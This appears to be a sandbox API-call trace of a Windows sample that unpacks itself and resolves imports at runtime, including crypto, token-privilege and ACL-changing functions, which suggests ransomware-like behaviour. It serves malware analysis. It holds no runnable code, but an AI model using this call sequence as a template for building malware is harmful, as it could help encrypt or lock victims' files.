[0048.767] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40e58f40, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.767] VarSub (in: pvarLeft=0x18f6b0, pvarRight=0x18f690, pvarResult=0x18f6a0 | out: pvarResult=0x18f6a0) returned 0x0 [0048.767] GetLocalTime (in: lpSystemTime=0x18f5ec | out: lpSystemTime=0x18f5ec*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x4, wDay=0x13, wHour=0x6, wMinute=0x2e, wSecond=0xb, wMilliseconds=0x34d)) [0048.767] VarDateFromUdate (in: pudateIn=0x18f610, dwFlags=0x0, pdateOut=0x18f5ec | out: pdateOut=0x18f5ec) returned 0x0 [0048.767] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40e58f40, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.767] VarSub (in: pvarLeft=0x18f6b0, pvarRight=0x18f690, pvarResult=0x18f6a0 | out: pvarResult=0x18f6a0) returned 0x0 [0048.767] GetLocalTime (in: lpSystemTime=0x18f5ec | out: lpSystemTime=0x18f5ec*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x4, wDay=0x13, wHour=0x6, wMinute=0x2e, wSecond=0xb, wMilliseconds=0x34d)) [0048.767] VarDateFromUdate (in: pudateIn=0x18f610, dwFlags=0x0, pdateOut=0x18f5ec | out: pdateOut=0x18f5ec) returned 0x0 [0048.767] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40e58f40, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.767] VarSub (in: pvarLeft=0x18f6b0, pvarRight=0x18f690, pvarResult=0x18f6a0 | out: pvarResult=0x18f6a0) returned 0x0 [0048.767] GetCurrentProcess () returned 0xffffffff [0048.767] lstrcpynW (in: lpString1=0x18f74c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.767] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x18f74c, ProcessInformationLength=0x18, ReturnLength=0x18f700 | out: ProcessInformation=0x18f74c, ReturnLength=0x18f700) returned 0x0 [0048.767] GetUserDefaultLCID () returned 0x409 [0048.767] VarBstrFromI2 (iVal=120, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f664) returned 0x0 [0048.767] GetUserDefaultLCID () returned 0x409 [0048.767] VarBstrFromI2 (iVal=9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f660*="") returned 0x0 [0048.767] GetUserDefaultLCID () returned 0x409 [0048.767] VarBstrFromI2 (iVal=27, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f660) returned 0x0 [0048.768] VarCmp (pvarLeft=0x18f4f8, pvarRight=0x18f688, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] VarCmp (pvarLeft=0x18f4f8, pvarRight=0x18f688, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] VarCmp (pvarLeft=0x18f4f8, pvarRight=0x18f688, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] VarCmp (pvarLeft=0x18f4f8, pvarRight=0x18f688, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] lstrcpynW (in: lpString1=0x18f528, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.768] RtlMoveMemory (in: Destination=0x18f528, Source=0x2e0000, Length=0x40 | out: Destination=0x18f528) [0048.768] VarSub (in: pvarLeft=0x18f57c, pvarRight=0x18f4f8, pvarResult=0x18f518 | out: pvarResult=0x18f518) returned 0x0 [0048.768] VarCmp (pvarLeft=0x18f518, pvarRight=0x18f4e8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.768] VarCmp (pvarLeft=0x18f57c, pvarRight=0x18f4f8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.768] VarAdd (in: pvarLeft=0x18f57c, pvarRight=0x18f4f8, pvarResult=0x18f518 | out: pvarResult=0x18f518) returned 0x0 [0048.768] VarCmp (pvarLeft=0x18f518, pvarRight=0x18f4e8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.768] lstrcpynW (in: lpString1=0x18f58c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.768] RtlMoveMemory (in: Destination=0x18f58c, Source=0x2e00f0, Length=0xf8 | out: Destination=0x18f58c) [0048.768] lstrcpynW (in: lpString1=0x18f6ec, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.768] lstrcpynW (in: lpString1=0x18f58c, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0048.768] RtlMoveMemory (in: Destination=0x18f6ec, Source=0x18f58c, Length=0xf8 | out: Destination=0x18f6ec) [0048.768] VarCmp (pvarLeft=0x18f3e4, pvarRight=0x18f574, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] VarCmp (pvarLeft=0x18f3e4, pvarRight=0x18f574, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] VarCmp (pvarLeft=0x18f3e4, pvarRight=0x18f574, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] VarCmp (pvarLeft=0x18f3e4, pvarRight=0x18f574, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.768] lstrcpynW (in: lpString1=0x18f414, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.768] RtlMoveMemory (in: Destination=0x18f414, Source=0x2e0000, Length=0x40 | out: Destination=0x18f414) [0048.768] VarSub (in: pvarLeft=0x18f468, pvarRight=0x18f3e4, pvarResult=0x18f404 | out: pvarResult=0x18f404) returned 0x0 [0048.769] VarCmp (pvarLeft=0x18f404, pvarRight=0x18f3d4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.769] VarCmp (pvarLeft=0x18f468, pvarRight=0x18f3e4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.769] VarAdd (in: pvarLeft=0x18f468, pvarRight=0x18f3e4, pvarResult=0x18f404 | out: pvarResult=0x18f404) returned 0x0 [0048.769] VarCmp (pvarLeft=0x18f404, pvarRight=0x18f3d4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.769] lstrcpynW (in: lpString1=0x18f478, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.769] RtlMoveMemory (in: Destination=0x18f478, Source=0x2e00f0, Length=0xf8 | out: Destination=0x18f478) [0048.769] lstrcpynW (in: lpString1=0x18f5b0, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.769] lstrcpynW (in: lpString1=0x18f478, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0048.769] RtlMoveMemory (in: Destination=0x18f5b0, Source=0x18f478, Length=0xf8 | out: Destination=0x18f5b0) [0048.769] lstrcpynW (in: lpString1=0x18f6e4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.769] lstrcpynW (in: lpString1=0x18f630, lpString2="", iMaxLength=0 | out: lpString1="橔") returned="橔" [0048.769] RtlMoveMemory (in: Destination=0x18f6e4, Source=0x18f630, Length=0x8 | out: Destination=0x18f6e4) [0048.769] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.769] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e6a54, Length=0x14 | out: Destination=0x18f6cc) [0048.769] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x772f0000 [0049.186] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.186] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c00, Length=0x4 | out: Destination=0x18f6c4) [0049.187] GetProcAddress (hModule=0x772f0000, lpProcName="StrStrIW") returned 0x773046e9 [0049.187] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="氨") returned="氨" [0049.187] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c04, Length=0x4 | out: Destination=0x18f6c4) [0049.187] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䛩眰氀") returned="䛩眰氀" [0049.187] RtlMoveMemory (in: Destination=0x2e5134, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5134) [0049.187] GetProcAddress (hModule=0x772f0000, lpProcName="SHRegSetUSValueW") returned 0x7732d4a7 [0049.187] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="水") returned="水" [0049.187] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c08, Length=0x4 | out: Destination=0x18f6c4) [0049.187] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="풧眲氀") returned="풧眲氀" [0049.187] RtlMoveMemory (in: Destination=0x2e5138, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5138) [0049.187] GetProcAddress (hModule=0x772f0000, lpProcName="StrStrIA") returned 0x772fd250 [0049.187] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="汈") returned="汈" [0049.187] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c0c, Length=0x4 | out: Destination=0x18f6c4) [0049.187] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="퉐眯氀") returned="퉐眯氀" [0049.187] RtlMoveMemory (in: Destination=0x2e513c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e513c) [0049.187] GetProcAddress (hModule=0x772f0000, lpProcName="StrCmpIW") returned 0x7730a147 [0049.187] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="氜") returned="氜" [0049.188] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c10, Length=0x4 | out: Destination=0x18f6c4) [0049.188] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ꅇ眰氀") returned="ꅇ眰氀" [0049.188] RtlMoveMemory (in: Destination=0x2e5140, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5140) [0049.188] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="氀") returned="氀" [0049.188] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e6a68, Length=0x14 | out: Destination=0x18f6cc) [0049.188] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0049.188] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.188] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c14, Length=0x4 | out: Destination=0x18f6c4) [0049.188] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0049.188] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="池") returned="池" [0049.188] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6c18, Length=0x4 | out: Destination=0x18f6c4) [0049.188] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="眖气") returned="眖气" [0049.188] RtlMoveMemory (in: Destination=0x2e5148, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5148) [0049.188] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="气") returned="气" [0049.188] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e6a7c, Length=0x14 | out: Destination=0x18f6cc) [0049.188] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0049.188] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.188] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6acc, Length=0x4 | out: Destination=0x18f6c4) [0049.189] GetProcAddress (hModule=0x77710000, lpProcName="LookupPrivilegeValueA") returned 0x7772404a [0049.189] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="泆") returned="泆" [0049.189] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ad0, Length=0x4 | out: Destination=0x18f6c4) [0049.189] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䁊睲櫌") returned="䁊睲櫌" [0049.189] RtlMoveMemory (in: Destination=0x2e5000, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5000) [0049.189] GetProcAddress (hModule=0x77710000, lpProcName="SetSecurityInfo") returned 0x77719edf [0049.189] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="消") returned="消" [0049.189] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ad4, Length=0x4 | out: Destination=0x18f6c4) [0049.189] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="黟睱櫌") returned="黟睱櫌" [0049.189] RtlMoveMemory (in: Destination=0x2e5004, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5004) [0049.189] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0049.189] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="浶") returned="浶" [0049.189] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ad8, Length=0x4 | out: Destination=0x18f6c4) [0049.189] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="씚睱櫌") returned="씚睱櫌" [0049.189] RtlMoveMemory (in: Destination=0x2e5008, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5008) [0049.190] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0049.190] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="浞") returned="浞" [0049.190] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6adc, Length=0x4 | out: Destination=0x18f6c4) [0049.190] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="?睱櫌") returned="?睱櫌" [0049.190] RtlMoveMemory (in: Destination=0x2e500c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e500c) [0049.190] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0049.190] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="济") returned="济" [0049.190] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ae0, Length=0x4 | out: Destination=0x18f6c4) [0049.190] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="瞛睳櫌") returned="瞛睳櫌" [0049.190] RtlMoveMemory (in: Destination=0x2e5010, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5010) [0049.190] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0049.190] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="洼") returned="洼" [0049.190] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ae4, Length=0x4 | out: Destination=0x18f6c4) [0049.190] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="씲睱櫌") returned="씲睱櫌" [0049.190] RtlMoveMemory (in: Destination=0x2e5014, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5014) [0049.190] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0049.190] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="洦") returned="洦" [0049.191] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ae8, Length=0x4 | out: Destination=0x18f6c4) [0049.191] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="睱櫌") returned="睱櫌" [0049.191] RtlMoveMemory (in: Destination=0x2e5018, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5018) [0049.191] GetProcAddress (hModule=0x77710000, lpProcName="GetNamedSecurityInfoW") returned 0x7771f4fd [0049.191] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="汸") returned="汸" [0049.191] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6aec, Length=0x4 | out: Destination=0x18f6c4) [0049.191] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="睱櫌") returned="睱櫌" [0049.191] RtlMoveMemory (in: Destination=0x2e501c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e501c) [0049.191] GetProcAddress (hModule=0x77710000, lpProcName="SetNamedSecurityInfoW") returned 0x77719fe2 [0049.191] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="沐") returned="沐" [0049.191] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6af0, Length=0x4 | out: Destination=0x18f6c4) [0049.191] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="鿢睱櫌") returned="鿢睱櫌" [0049.191] RtlMoveMemory (in: Destination=0x2e5020, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5020) [0049.191] GetProcAddress (hModule=0x77710000, lpProcName="FreeSid") returned 0x7772412e [0049.191] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="沨") returned="沨" [0049.191] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6af4, Length=0x4 | out: Destination=0x18f6c4) [0049.191] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䄮睲櫌") returned="䄮睲櫌" [0049.191] RtlMoveMemory (in: Destination=0x2e5024, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5024) [0049.192] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0049.192] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="沲") returned="沲" [0049.192] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6af8, Length=0x4 | out: Destination=0x18f6c4) [0049.192] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䌄睲櫌") returned="䌄睲櫌" [0049.192] RtlMoveMemory (in: Destination=0x2e5028, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5028) [0049.192] GetProcAddress (hModule=0x77710000, lpProcName="AdjustTokenPrivileges") returned 0x7772418e [0049.192] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="泺") returned="泺" [0049.192] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6afc, Length=0x4 | out: Destination=0x18f6c4) [0049.192] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䆎睲櫌") returned="䆎睲櫌" [0049.192] RtlMoveMemory (in: Destination=0x2e502c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e502c) [0049.192] GetProcAddress (hModule=0x77710000, lpProcName="AllocateAndInitializeSid") returned 0x777240e6 [0049.192] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="泞") returned="泞" [0049.192] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b00, Length=0x4 | out: Destination=0x18f6c4) [0049.192] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䃦睲櫌") returned="䃦睲櫌" [0049.193] RtlMoveMemory (in: Destination=0x2e5030, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5030) [0049.194] GetProcAddress (hModule=0x77710000, lpProcName="SetEntriesInAclA") returned 0x777615e9 [0049.194] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="洒") returned="洒" [0049.194] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b04, Length=0x4 | out: Destination=0x18f6c4) [0049.194] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᗩ睶櫌") returned="ᗩ睶櫌" [0049.194] RtlMoveMemory (in: Destination=0x2e5034, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5034) [0049.194] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="櫌") returned="櫌" [0049.194] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e6a90, Length=0x14 | out: Destination=0x18f6cc) [0049.194] LoadLibraryA (lpLibFileName="MSVCRT.dll") returned 0x76f90000 [0049.194] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.194] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bec, Length=0x4 | out: Destination=0x18f6c4) [0049.194] GetProcAddress (hModule=0x76f90000, lpProcName="_vsnwprintf") returned 0x76f9bbce [0049.194] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="涨") returned="涨" [0049.194] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bf0, Length=0x4 | out: Destination=0x18f6c4) [0049.194] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="믎盹毬") returned="믎盹毬" [0049.194] RtlMoveMemory (in: Destination=0x2e5120, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5120) [0049.194] GetProcAddress (hModule=0x76f90000, lpProcName="memcpy") returned 0x76f99910 [0049.194] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="熬") returned="熬" [0049.195] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bf4, Length=0x4 | out: Destination=0x18f6c4) [0049.195] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="餐盹毬") returned="餐盹毬" [0049.195] RtlMoveMemory (in: Destination=0x2e5124, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5124) [0049.195] GetProcAddress (hModule=0x76f90000, lpProcName="_getch") returned 0x76fef719 [0049.195] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="涶") returned="涶" [0049.195] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bf8, Length=0x4 | out: Destination=0x18f6c4) [0049.195] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="盾毬") returned="盾毬" [0049.195] RtlMoveMemory (in: Destination=0x2e5128, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5128) [0049.195] GetProcAddress (hModule=0x76f90000, lpProcName="memset") returned 0x76f99790 [0049.195] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="熶") returned="熶" [0049.195] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bfc, Length=0x4 | out: Destination=0x18f6c4) [0049.195] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="鞐盹毬") returned="鞐盹毬" [0049.195] RtlMoveMemory (in: Destination=0x2e512c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e512c) [0049.195] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="毬") returned="毬" [0049.195] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e6aa4, Length=0x14 | out: Destination=0x18f6cc) [0049.195] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0049.195] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.195] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b08, Length=0x4 | out: Destination=0x18f6c4) [0049.196] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleW") returned 0x76d67aca [0049.196] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="煢") returned="煢" [0049.196] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b0c, Length=0x4 | out: Destination=0x18f6c4) [0049.196] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="竊盖欈") returned="竊盖欈" [0049.196] RtlMoveMemory (in: Destination=0x2e503c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e503c) [0049.196] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleCursorPosition") returned 0x76de7adf [0049.196] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="煲") returned="煲" [0049.196] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b10, Length=0x4 | out: Destination=0x18f6c4) [0049.196] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="竟盞欈") returned="竟盞欈" [0049.196] RtlMoveMemory (in: Destination=0x2e5040, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5040) [0049.196] GetProcAddress (hModule=0x76d30000, lpProcName="AllocConsole") returned 0x76de6b26 [0049.196] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="熎") returned="熎" [0049.196] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b14, Length=0x4 | out: Destination=0x18f6c4) [0049.196] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="欦盞欈") returned="欦盞欈" [0049.196] RtlMoveMemory (in: Destination=0x2e5044, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5044) [0049.196] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0049.196] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="焂") returned="焂" [0049.197] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b18, Length=0x4 | out: Destination=0x18f6c4) [0049.197] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="婋盔欈") returned="婋盔欈" [0049.197] RtlMoveMemory (in: Destination=0x2e5048, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5048) [0049.197] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameA") returned 0x76d5b6e0 [0049.197] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="焎") returned="焎" [0049.197] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b1c, Length=0x4 | out: Destination=0x18f6c4) [0049.197] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="뛠盕欈") returned="뛠盕欈" [0049.197] RtlMoveMemory (in: Destination=0x2e504c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e504c) [0049.197] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0049.197] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="滔") returned="滔" [0049.197] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b20, Length=0x4 | out: Destination=0x18f6c4) [0049.197] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᜥ盔欈") returned="ᜥ盔欈" [0049.197] RtlMoveMemory (in: Destination=0x2e5050, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5050) [0049.197] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0049.197] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="煐") returned="煐" [0049.197] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b24, Length=0x4 | out: Destination=0x18f6c4) [0049.197] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="盕欈") returned="盕欈" [0049.197] RtlMoveMemory (in: Destination=0x2e5054, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5054) [0049.198] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0049.198] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="烴") returned="烴" [0049.198] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b28, Length=0x4 | out: Destination=0x18f6c4) [0049.198] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="稐盔欈") returned="稐盔欈" [0049.198] RtlMoveMemory (in: Destination=0x2e5058, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5058) [0049.198] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0049.198] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="烞") returned="烞" [0049.198] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b2c, Length=0x4 | out: Destination=0x18f6c4) [0049.198] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䥐盔欈") returned="䥐盔欈" [0049.198] RtlMoveMemory (in: Destination=0x2e505c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e505c) [0049.198] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0049.198] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="煀") returned="煀" [0049.198] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b30, Length=0x4 | out: Destination=0x18f6c4) [0049.198] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="决盔欈") returned="决盔欈" 